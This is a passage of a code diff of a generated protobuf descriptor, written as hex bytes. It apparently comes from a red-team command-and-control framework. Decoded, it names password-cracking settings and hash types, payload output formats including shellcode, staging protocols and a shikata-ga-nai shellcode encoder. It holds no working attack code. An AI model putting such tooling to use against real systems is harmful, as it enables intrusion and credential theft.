0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, - 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, - 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, - 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, - 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, - 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, - 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, - 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, - 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, - 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, - 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, - 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, - 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, - 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, - 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, - 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, - 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, - 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, - 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, - 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, - 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, - 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, - 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, - 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, + 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, + 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, + 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, + 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, + 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, + 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, + 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, + 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, + 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, + 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, + 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, + 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, + 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, + 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, + 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, + 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, + 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, + 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, + 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, + 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, + 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, + 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, + 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, + 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, + 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, + 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, + 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, + 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, + 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, + 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, + 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, + 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, + 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, + 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, + 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, - 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, - 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, - 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, - 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, - 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, - 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, - 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, - 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, - 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, - 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, - 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, - 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, - 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, - 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, - 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, - 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, - 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, - 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, - 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, - 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, - 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, - 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, - 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, - 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, - 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, - 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, - 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, - 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, - 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, - 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, - 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, - 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, - 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, - 0x5f, 0x32, 0x30, 0x31, 